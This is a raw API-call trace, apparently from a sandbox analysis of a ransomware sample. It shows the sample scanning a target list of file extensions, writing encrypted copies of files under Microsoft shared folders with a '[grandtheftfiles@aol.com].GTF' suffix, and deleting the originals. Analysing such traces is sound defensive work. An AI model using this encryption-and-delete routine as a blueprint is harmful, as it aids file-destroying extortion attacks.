	[0089.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0089.076] lstrlenW (lpString=".jpg") returned 4
	[0089.076] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.076] lstrcmpiW (lpString1=".EXE", lpString2=".GTF") returned -1
	[0089.076] lstrlenW (lpString="OSE.EXE") returned 7
	[0089.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0089.077] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=244296) returned 1
	[0089.077] CloseHandle (hObject=0x358) returned 1
	[0089.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20
	[0089.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0089.077] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.077] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0089.077] GetLastError () returned 0x0
	[0089.077] ReadFile (in: hFile=0x358, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x3ba48, lpOverlapped=0x0) returned 1
	[0089.083] WriteFile (in: hFile=0x384, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x3ba50, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x3ba50, lpOverlapped=0x0) returned 1
	[0089.087] ReadFile (in: hFile=0x358, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.087] WriteFile (in: hFile=0x384, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0089.087] SetEndOfFile (hFile=0x384) returned 1
	[0089.088] CloseHandle (hObject=0x384) returned 1
	[0089.088] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.088] SetEndOfFile (hFile=0x358) returned 1
	[0089.090] CloseHandle (hObject=0x358) returned 1
	[0089.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0089.091] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 1
	[0089.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0089.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0089.091] lstrlenW (lpString=".doc") returned 4
	[0089.091] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0089.091] lstrlenW (lpString=".docx") returned 5
	[0089.091] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1
	[0089.091] lstrlenW (lpString=".pdf") returned 4
	[0089.091] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0089.091] lstrlenW (lpString=".xls") returned 4
	[0089.091] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0089.091] lstrlenW (lpString=".xlsx") returned 5
	[0089.091] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1
	[0089.091] lstrlenW (lpString=".ppt") returned 4
	[0089.091] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0089.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0089.091] lstrlenW (lpString=".zip") returned 4
	[0089.091] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0089.091] lstrlenW (lpString=".rar") returned 4
	[0089.091] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0089.091] lstrlenW (lpString=".bz2") returned 4
	[0089.091] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0089.091] lstrlenW (lpString=".7z") returned 3
	[0089.091] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0089.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0089.091] lstrlenW (lpString=".dbf") returned 4
	[0089.091] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0089.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0089.092] lstrlenW (lpString=".1cd") returned 4
	[0089.092] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0089.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0089.092] lstrlenW (lpString=".jpg") returned 4
	[0089.092] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0089.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0089.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0089.092] lstrlenW (lpString=".doc") returned 4
	[0089.092] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0089.092] lstrlenW (lpString=".docx") returned 5
	[0089.092] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1
	[0089.092] lstrlenW (lpString=".pdf") returned 4
	[0089.092] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0089.092] lstrlenW (lpString=".xls") returned 4
	[0089.092] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0089.092] lstrlenW (lpString=".xlsx") returned 5
	[0089.092] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1
	[0089.092] lstrlenW (lpString=".ppt") returned 4
	[0089.092] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0089.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0089.092] lstrlenW (lpString=".zip") returned 4
	[0089.092] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0089.092] lstrlenW (lpString=".rar") returned 4
	[0089.092] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0089.092] lstrlenW (lpString=".bz2") returned 4
	[0089.092] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0089.092] lstrlenW (lpString=".7z") returned 3
	[0089.092] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0089.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0089.092] lstrlenW (lpString=".dbf") returned 4
	[0089.092] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0089.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0089.092] lstrlenW (lpString=".1cd") returned 4
	[0089.092] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0089.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0089.092] lstrlenW (lpString=".jpg") returned 4
	[0089.093] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0089.093] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0089.093] lstrlenW (lpString="msdia100.dll") returned 12
	[0089.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0089.093] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=990032) returned 1
	[0089.093] CloseHandle (hObject=0x358) returned 1
	[0089.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20
	[0089.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0089.094] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.094] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0089.094] GetLastError () returned 0x0
	[0089.094] ReadFile (in: hFile=0x358, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0xf1b50, lpOverlapped=0x0) returned 1
	[0089.462] WriteFile (in: hFile=0x384, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xf1b60, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xf1b60, lpOverlapped=0x0) returned 1
	[0089.479] ReadFile (in: hFile=0x358, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.479] WriteFile (in: hFile=0x384, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.479] SetEndOfFile (hFile=0x384) returned 1
	[0089.479] CloseHandle (hObject=0x384) returned 1
	[0089.479] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.479] SetEndOfFile (hFile=0x358) returned 1
	[0089.488] CloseHandle (hObject=0x358) returned 1
	[0089.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0089.488] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 1
	[0089.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0089.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0089.488] lstrlenW (lpString=".doc") returned 4
	[0089.488] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.489] lstrlenW (lpString=".docx") returned 5
	[0089.489] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0089.489] lstrlenW (lpString=".pdf") returned 4
	[0089.489] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.489] lstrlenW (lpString=".xls") returned 4
	[0089.489] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.489] lstrlenW (lpString=".xlsx") returned 5
	[0089.489] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0089.489] lstrlenW (lpString=".ppt") returned 4
	[0089.489] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0089.489] lstrlenW (lpString=".zip") returned 4
	[0089.489] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.489] lstrlenW (lpString=".rar") returned 4
	[0089.489] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.489] lstrlenW (lpString=".bz2") returned 4
	[0089.489] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.489] lstrlenW (lpString=".7z") returned 3
	[0089.489] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0089.489] lstrlenW (lpString=".dbf") returned 4
	[0089.489] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0089.489] lstrlenW (lpString=".1cd") returned 4
	[0089.489] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0089.489] lstrlenW (lpString=".jpg") returned 4
	[0089.489] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0089.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0089.489] lstrlenW (lpString=".doc") returned 4
	[0089.489] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.489] lstrlenW (lpString=".docx") returned 5
	[0089.490] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0089.490] lstrlenW (lpString=".pdf") returned 4
	[0089.490] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.490] lstrlenW (lpString=".xls") returned 4
	[0089.490] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.490] lstrlenW (lpString=".xlsx") returned 5
	[0089.490] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0089.490] lstrlenW (lpString=".ppt") returned 4
	[0089.490] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0089.490] lstrlenW (lpString=".zip") returned 4
	[0089.490] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.490] lstrlenW (lpString=".rar") returned 4
	[0089.490] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.490] lstrlenW (lpString=".bz2") returned 4
	[0089.490] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.490] lstrlenW (lpString=".7z") returned 3
	[0089.490] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0089.490] lstrlenW (lpString=".dbf") returned 4
	[0089.490] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0089.490] lstrlenW (lpString=".1cd") returned 4
	[0089.490] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0089.490] lstrlenW (lpString=".jpg") returned 4
	[0089.490] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.490] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0089.490] lstrlenW (lpString="VSTOLoaderUI.dll") returned 16
	[0089.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0089.910] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=20608) returned 1
	[0089.910] CloseHandle (hObject=0x2fc) returned 1
	[0089.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20
	[0089.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0089.913] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.913] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0089.913] GetLastError () returned 0x0
	[0089.913] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x5080, lpOverlapped=0x0) returned 1
	[0089.915] WriteFile (in: hFile=0x35c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x5090, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x5090, lpOverlapped=0x0) returned 1
	[0089.916] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.917] WriteFile (in: hFile=0x35c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0089.917] SetEndOfFile (hFile=0x35c) returned 1
	[0089.917] CloseHandle (hObject=0x35c) returned 1
	[0089.917] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.917] SetEndOfFile (hFile=0x2fc) returned 1
	[0089.918] CloseHandle (hObject=0x2fc) returned 1
	[0089.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0089.918] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 1
	[0089.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0089.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0089.928] lstrlenW (lpString=".doc") returned 4
	[0089.928] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.928] lstrlenW (lpString=".docx") returned 5
	[0089.928] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1
	[0089.928] lstrlenW (lpString=".pdf") returned 4
	[0089.928] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.928] lstrlenW (lpString=".xls") returned 4
	[0089.928] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.928] lstrlenW (lpString=".xlsx") returned 5
	[0089.928] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1
	[0089.928] lstrlenW (lpString=".ppt") returned 4
	[0089.928] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0089.928] lstrlenW (lpString=".zip") returned 4
	[0089.928] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.928] lstrlenW (lpString=".rar") returned 4
	[0089.928] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.928] lstrlenW (lpString=".bz2") returned 4
	[0089.928] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.928] lstrlenW (lpString=".7z") returned 3
	[0089.928] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0089.928] lstrlenW (lpString=".dbf") returned 4
	[0089.928] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0089.928] lstrlenW (lpString=".1cd") returned 4
	[0089.928] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0089.928] lstrlenW (lpString=".jpg") returned 4
	[0089.928] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0089.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0089.929] lstrlenW (lpString=".doc") returned 4
	[0089.929] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.929] lstrlenW (lpString=".docx") returned 5
	[0089.929] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1
	[0089.929] lstrlenW (lpString=".pdf") returned 4
	[0089.929] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.929] lstrlenW (lpString=".xls") returned 4
	[0089.929] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.929] lstrlenW (lpString=".xlsx") returned 5
	[0089.929] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1
	[0089.929] lstrlenW (lpString=".ppt") returned 4
	[0089.929] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0089.929] lstrlenW (lpString=".zip") returned 4
	[0089.929] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.929] lstrlenW (lpString=".rar") returned 4
	[0089.929] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.929] lstrlenW (lpString=".bz2") returned 4
	[0089.929] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.929] lstrlenW (lpString=".7z") returned 3
	[0089.929] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0089.929] lstrlenW (lpString=".dbf") returned 4
	[0089.929] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0089.929] lstrlenW (lpString=".1cd") returned 4
	[0089.929] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0089.929] lstrlenW (lpString=".jpg") returned 4
	[0089.929] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.930] lstrcmpiW (lpString1=".tlb", lpString2=".GTF") returned 1
	[0089.930] lstrlenW (lpString="msado28.tlb") returned 11
